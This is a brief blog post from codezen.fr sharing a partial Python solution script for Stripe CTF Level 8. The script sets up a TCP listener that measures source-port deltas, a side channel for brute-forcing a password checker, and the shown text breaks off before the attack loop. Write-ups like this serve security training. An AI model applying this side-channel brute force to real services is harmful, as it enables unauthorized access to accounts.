codezen.fr code hacking, zen coding

30Aug/12Off

Stripe CTF Level 8 Solution

Posted by aXs

Quick solution post before leaving for vacation for Stripe's CTF Level 8.

#!/usr/bin/env python
# aXs - http://codezen.fr
#
# Stripe CTF Level 8

import time
import requests
import socket
import threading
import SocketServer
import Queue
import json
import random
import sys

remote_port = 0

q = Queue.Queue(maxsize=0)

class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler):

  def handle(self):
    global remote_port
    data = self.request.recv(1024)
    client_ip, client_port = self.client_address
    #print client_ip, client_port
    delta = client_port - remote_port
    remote_port = client_port
    self.request.close()
    q.put(delta)

class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
  pass

if __name__ == "__main__":
  # Port 0 means to select an arbitrary unused port
  HOST, PORT = "0.0.0.0", 0

  server = ThreadedTCPServer((HOST, PORT), ThreadedTCPRequestHandler)
  ip, port = server.server_address

  server_thread = threading.Thread(target=server.serve_forever)
  server_thread.daemon = True
  server_thread.start()
  print "Server loop running in thread:", server_thread.name

  endpoint = "https://level08-3.stripe-ctf.com/user-oxtxhpbwuz/"

  numbers = range(0,1000)
  random.shuffle(numbers)

  #numbers = ['641', '243', '093', '5